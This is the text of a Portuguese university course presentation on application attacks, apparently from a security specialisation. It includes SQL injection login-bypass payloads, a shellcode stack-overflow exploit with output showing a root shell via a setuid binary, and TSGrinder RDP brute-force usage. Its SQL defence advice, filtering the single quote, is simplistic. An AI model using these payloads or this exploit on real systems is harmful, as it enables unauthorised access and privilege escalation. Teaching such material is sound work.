Ataques à Aplicações Especialização em Segurança da Informação Prof.: Márcio Aurélio R. Moreira Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira Introdução Será apresentado alguns tipos de ataques mais usados em aplicações hoje SQL Injection Buffer Overflow Ataques à Terminal Service do Windows SQL Injection Tipo de ataque no qual é inserido um código SQL. Pode ser usado para ataques em sites ou em aplicações locais. Grande número de serviços WEB hoje viabilizam o ataque. Top 10 2007 lista este tipo de ataque em segundo lugar. http://www.owasp.org/index.php/Top_10_2007 Lógica do Ataque SQL Injection Qualquer tipo de aplicação (WEB ou não) que possua um mínimo de segurança pede usuário e senha na tela de abertura (autenticação). Normalmente essas aplicações utilizam um banco de dados (Oracle, DB2, Sql Server,etc) com uma tabela com usuario e senha. Lógica do Ataque SQL Injection Instrução interna: select usuario, senha from Users where usuario=' & cUser & ' and senha=' & cSenha & ' Não existe nenhum problema com a instrução, funciona perfeito. Lógica do Ataque SQL Injection Se digitarmos Flavio no usuário e UNIMINAS na senha a instrução SQL será a seguinte: select usuario, senha from Users where usuario=‘Flavio' and senha=‘UNIMINAS' As aspas delimitam os valores recebidos pelas variáveis. Lógica do Ataque SQL Injection Se de propósito digitarmos o seguinte no usuário e senha: ’ or ’1=1 A instrução SQL ficará da seguinte maneira: select usuario, senha from Users where usuario=‘’or’1=1’ and senha=‘’or’1=1’ Lógica do Ataque SQL Injection Interpretando a instrução temos o seguinte: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então todos usuários são validos). O mesmo raciocínio vale para a senha . Provavelmente entraremos no sistema como o primeiro usuário da tabela. Lógica do Ataque SQL Injection O pior é que quando o programador criou os usuários da tabela, provavelmente o primeiro usuário será ele próprio e ainda com privilégio de administrador. Lógica do Ataque SQL Injection Outro caso é quando queremos entrar com o username de uma determinada pessoa. Colocamos o nome do usuário e logo em seguida a instrução mágica anterior. O SQL entenderá que deverá retornar o usuário informado e que tenha uma senha vazia ou verdadeira, ou seja ele irá ignorar a senha e apontará para o registro que o username é igual ao informado. Lógica do Ataque SQL Injection Outro tipo de injeção SQL é quando não sabemos o nome do usuário mas sabemos que o site tem muitos cadastros. Colocamos ’ or ’1=1 no usuário e chutamos uma senha como 123456, 123123,123321. Num site com mais de 200 cadastros é 90% de certeza que alguém cadastrou uma senha destas. Lógica do Ataque SQL Injection Outro forma de ataque seria usar os caracteres -- no final do campo: Usuário: admin’-Senha:xyz Você provavelmente conseguirá acesso como admin, levando-se em conta que a maioria dos cadastros possuem o usuário admin. O caractere -- especifica pro sql que daquele ponto em diante tudo é comentário. Lógica do Ataque SQL Injection A instrução ficará dessa maneira: Select * from usuarios where username=’admin’ -- ‘ and senha=’xyz’ “ A partir dos -- tudo virou comentário. Defesas deste tipo de ataque A forma mais fácil de conter esse ataque seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos. Buffer Overflow O que é o Buffer Overflow? O seu surgimento. Qual o intuito de ataques do tipo Buffer Overflow? Lógica do Ataque Buffer Overflow Como explorar o Buffer Overflow? #include <stdio.h> #include <string.h> main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!n"); printf("Uso: %s n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!n",buffer); return 0; } Lógica do Ataque Buffer Overflow Como tirar proveito do Buffer Overflow O endereço de retorno. O overflow A inserção de shellcode. Elevação de privilégios na aplicação. Modelo usual de memória DATA (Stack e Heap) .BSS (Heap) .TEXT Stack Overflow Como se dá a utilização da pilha no sistema operacional? Como funciona o Stack Overflow? Stack Overflow Exemplo de stack overflow #include <stdio.h> #include <string.h> char shellcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } Stack Overflow /* Compilando */ seg@uniminas:~$ gcc bof.c seg@uniminas:~$ su Password: seg@uniminas:~# chown root.root a.out seg@uniminas:~# chmod u+s a.out seg@uniminas:~$ whoami seg seg@uniminas:~$ ./a.out sh-2.05$ whoami root Defesas de ataques do tipo Overflow A melhor forma de evitar ataques do tipo buffer Overflow é um bom projeto estrutural da programação da aplicação, atentando-se a condições de testes e homologações em diferentes ambientes. Ataques em Terminal Service Características quanto ao uso e importância a aplicações estão adotando o meio de Terminal para maior praticidade nos recursos de rede poder de centralização e traçamento de perfis que os usuários podem ter redudância e balanceamento, este serviço pode atender bem, na qual usando o próprio serviço de LB (Load Balanced) da Microsoft pode-se obter recursos nas aplicações Thin Clients que pode facilitar nos investimentos em Hardware de estações Característica de Ataque ao TS Exesso de conexões Brute Force (MITM RDP) Link com trafego além do normal Acesso de usuarios que não existem Senhas de conexões expiradas por erros Request Deny Of Service Cain & Abel (Também é possível realizar um Main The Midle no RDP) Dados importante referente ao Request Deny Of Service O xforce database da ISS aponta a vulnerabilidade Request Deny Of Service no Terminal Service de 16 de Julho de 2006, ela afeta inclusive windows server 2003 com SP1. Plantaformas Afetadas Windows 2000 Server SP 4 Windows Server 2003 Any version Windows Server 2003 Itanium Windows Server 2003 SP1 Windows Server 2003 SP1 Windows Server 2003 x64 Edition Windows XP Pro x64 Edition Windows XP SP1 windows-rdp-dos (21407) Usando o TSGrinder Usage: tsgrinder.exe [options] server Options: -w dictionary file (default 'dict') -l 'leet' translation file -d domain name -u username (default 'administrator' -b banner flag -n number of simultaneous threads -D debug level (default 9, lower number is more output) Exemplo: tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1 Métodos para aperfeiçoar a Segurança Existe uma ferramenta chamada 2x SecureRDP freeware que se propõe basicamente a controle de acesso, muito semelhante ao controle de MAC Address de um Access Point Wireless. A técnica bem interessante é usar SSL para rodar o Terminal Service, garantindo processo de comunicação mais limpa e segurança. http://www.microsoft.com/technet/prodtechnol/windowsserver2003/ptbr/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b29fd6146977b.mspx?mfr=true Msgs de Logons Autorização por horários Determinação de acessos por políticas Solução futura com o Terminal Service Gateway no novo Windows Server ( similar ao da citrix ) Topologia mais robusta em SSL Modelo de TS com o novo Windows Server